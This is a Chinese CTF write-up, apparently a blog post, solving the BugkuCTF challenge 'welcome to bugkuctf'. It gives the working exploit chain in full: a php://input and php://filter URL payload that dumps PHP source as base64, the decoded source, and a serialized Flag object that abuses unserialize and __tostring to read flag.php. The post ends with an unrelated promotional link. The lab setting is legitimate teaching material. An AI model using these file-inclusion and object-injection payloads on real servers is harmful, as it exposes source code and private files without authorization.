1. 程式人生 > >CTF/CTF練習平臺-welcome to bugkuctf【php //filter及php //input】

CTF/CTF練習平臺-welcome to bugkuctf【php //filter及php //input】

               

原題內容:

http://120.24.86.145:8006/test1/


首先bp一下,可見提示原始碼:

<!--  $user = $_GET["txt"];  $file = $_GET["file"];  $pass = $_GET["password"];    if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){      echo "hello admin!<br>";      include($file); //hint.php  }else{      echo "you are not admin ! ";  }   -->
 
首先,分析程式碼獲取四個需求:

1.三個傳參

2.$user存在且不為空,

3.讀取$user檔案,內容為welcome to the bugkuctf,

4.$file要求為hint.php,將其匯入


其實比較熟悉就知道兩個點可以利用了,php://input與php://filter

php不提了,之前的部落格中講解過,不懂得可以前去看一下

CTF/CTF練習平臺-flag在index裡【php://filter的利用】

這裡講一下php://input

當傳進去的引數作為檔名變數去開啟檔案時,可以將引數php://傳進,同時post方式傳進去值作為檔案內容,供php程式碼執行時當做檔案內容讀取

這題的效果如下:


加上php://filter的利用,讀取hint.php的內容

load url改為:

http://120.24.86.145:8006/test1/index.php?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php&password=
可得到base64加密的字串:

PD9waHAgIA0KICANCmNsYXNzIEZsYWd7Ly9mbGFnLnBocCAgDQogICAgcHVibGljICRmaWxlOyAgDQogICAgcHVibGljIGZ1bmN0aW9uIF9fdG9zdHJpbmcoKXsgIA0KICAgICAgICBpZihpc3NldCgkdGhpcy0+ZmlsZSkpeyAgDQogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgDQoJCQllY2hvICI8YnI+IjsNCgkJcmV0dXJuICgiZ29vZCIpOw0KICAgICAgICB9ICANCiAgICB9ICANCn0gIA0KPz4gIA==
同理把hint.php改為index.php,順路看看index的原始碼:

得到字串:

PD9waHAgIA0KJHR4dCA9ICRfR0VUWyJ0eHQiXTsgIA0KJGZpbGUgPSAkX0dFVFsiZmlsZSJdOyAgDQokcGFzc3dvcmQgPSAkX0dFVFsicGFzc3dvcmQiXTsgIA0KICANCmlmKGlzc2V0KCR0eHQpJiYoZmlsZV9nZXRfY29udGVudHMoJHR4dCwncicpPT09IndlbGNvbWUgdG8gdGhlIGJ1Z2t1Y3RmIikpeyAgDQogICAgZWNobyAiaGVsbG8gZnJpZW5kITxicj4iOyAgDQogICAgaWYocHJlZ19tYXRjaCgiL2ZsYWcvIiwkZmlsZSkpeyANCgkJZWNobyAi5LiN6IO9546w5Zyo5bCx57uZ5L2gZmxhZ+WTpiI7DQogICAgICAgIGV4aXQoKTsgIA0KICAgIH1lbHNleyAgDQogICAgICAgIGluY2x1ZGUoJGZpbGUpOyAgIA0KICAgICAgICAkcGFzc3dvcmQgPSB1bnNlcmlhbGl6ZSgkcGFzc3dvcmQpOyAgDQogICAgICAgIGVjaG8gJHBhc3N3b3JkOyAgDQogICAgfSAgDQp9ZWxzZXsgIA0KICAgIGVjaG8gInlvdSBhcmUgbm90IHRoZSBudW1iZXIgb2YgYnVna3UgISAiOyAgDQp9ICANCiAgDQo/PiAgDQogIA0KPCEtLSAgDQokdXNlciA9ICRfR0VUWyJ0eHQiXTsgIA0KJGZpbGUgPSAkX0dFVFsiZmlsZSJdOyAgDQokcGFzcyA9ICRfR0VUWyJwYXNzd29yZCJdOyAgDQogIA0KaWYoaXNzZXQoJHVzZXIpJiYoZmlsZV9nZXRfY29udGVudHMoJHVzZXIsJ3InKT09PSJ3ZWxjb21lIHRvIHRoZSBidWdrdWN0ZiIpKXsgIA0KICAgIGVjaG8gImhlbGxvIGFkbWluITxicj4iOyAgDQogICAgaW5jbHVkZSgkZmlsZSk7IC8vaGludC5waHAgIA0KfWVsc2V7ICANCiAgICBlY2hvICJ5b3UgYXJlIG5vdCBhZG1pbiAhICI7ICANCn0gIA0KIC0tPiAg

解密得到程式碼:

#hint.php<?php    class Flag{//flag.php      public $file;      public function __tostring(){          if(isset($this->file)){              echo file_get_contents($this->file);             echo "<br>";        return ("good");        }      }  }  ?>  #index.php<?php  $txt = $_GET["txt"];  $file = $_GET["file"];  $password = $_GET["password"];    if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){      echo "hello friend!<br>";      if(preg_match("/flag/",$file)){         echo "不能現在就給你flag哦";        exit();      }else{          include($file);           $password = unserialize($password);          echo $password;      }  }else{      echo "you are not the number of bugku ! ";  }    ?>    <!--  $user = $_GET["txt"];  $file = $_GET["file"];  $pass = $_GET["password"];    if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){      echo "hello admin!<br>";      include($file); //hint.php  }else{      echo "you are not admin ! ";  }   -->  

從上面獲取的原始碼可得到如下資訊:

1.提示hint.php中提示flag.php,從index.php可以看到對關鍵詞flag進行了遮蔽

2.hint.php中定義了一個類Flag,很有意思的是中間有個 __tostring 方法,這個方法可以理解為將這個類作為字串執行時會自動執行的一個函式

3. __tostring 方法執行時,將變數$file作為檔名輸出檔案內容,結合提示flag.php,猜測遮蔽的flag.php檔案在此開啟

4.在index.php原始碼中看到了$password的作用


這裡走進了一個坑,一直在想辦法繞過flag關鍵詞的遮蔽,但是限制於php://fliter的格式,一直不得其解


正解應該是利用$password

之前說過Flag方法當做字串執行時,會自動執行 __tostring 方法,注意到echo函式,只能輸出一個或多個字串,所以只要$password為Flag型別資料,且其中string型別的變數$file為flag.php即可

理解到這裡,就懂了為啥多一個很奇怪的unserialize函式,其作用即為讓你用字串方式傳遞一個類

具體函式用法不多說,以前部落格中有講過,不懂可以去一看

實驗吧-天網管理系統【php弱型別==與===的利用】


自己寫了個php檔案:

<?php class Flag{//flag.php      public $file;      }   $a = new Flag(); $a->file = "flag.php";    $a = serialize($a); print_r($a);?>

執行得到O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}


將其作為引數$password傳進去,bp可得:



           

再分享一下我老師大神的人工智慧教程吧。零基礎!通俗易懂!風趣幽默!還帶黃段子!希望你也加入到我們人工智慧的隊伍中來!https://blog.csdn.net/jiangjunshow